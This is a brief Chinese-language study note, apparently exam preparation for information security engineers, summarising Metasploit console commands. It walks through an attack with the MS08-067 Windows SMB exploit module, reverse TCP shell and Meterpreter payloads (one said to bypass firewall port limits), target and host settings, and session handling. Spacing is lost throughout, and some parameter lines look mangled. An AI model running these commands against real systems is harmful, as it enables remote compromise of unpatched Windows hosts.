信息安全工程师metasploit总结.docxVIP

常用指令：

一次完整攻击过程

1、查找攻击模块：

Searchms08_067

2、使用攻击模块：

Usewindows/smb/ms08_067_netapi

3、显示参数设置：

Showoptions

4、显示可用攻击载荷：

Showpayloads

5、设置攻击载荷：

SetpayloadWindows/shell/reverse_tcp//反弹式TCP连接

Setpayloadwindows/meterpreter/reverse_tcp//反弹一个meterpreter会话

Setpayloadwindows/meterpreter/reverse_tcp_allports//绕过防火前该端口限制

6、显示和设置可选目标类型：

Showtargets

Settarget3

7、设置相关参数：

Setrhost0

8、发出攻击指令：

Exploit

Exploit–j//exploit在后台运行

Sessions-l-v//查看活动会话

Sessions–isid//与id为1的控制会话进行交互

在meterpreter会话中可以使用shell进入目标系统交互命令行shell

9、info显示模块详细信息

10、设置和清除、保存全局参数

SetgLHOST

Save

Meterpreter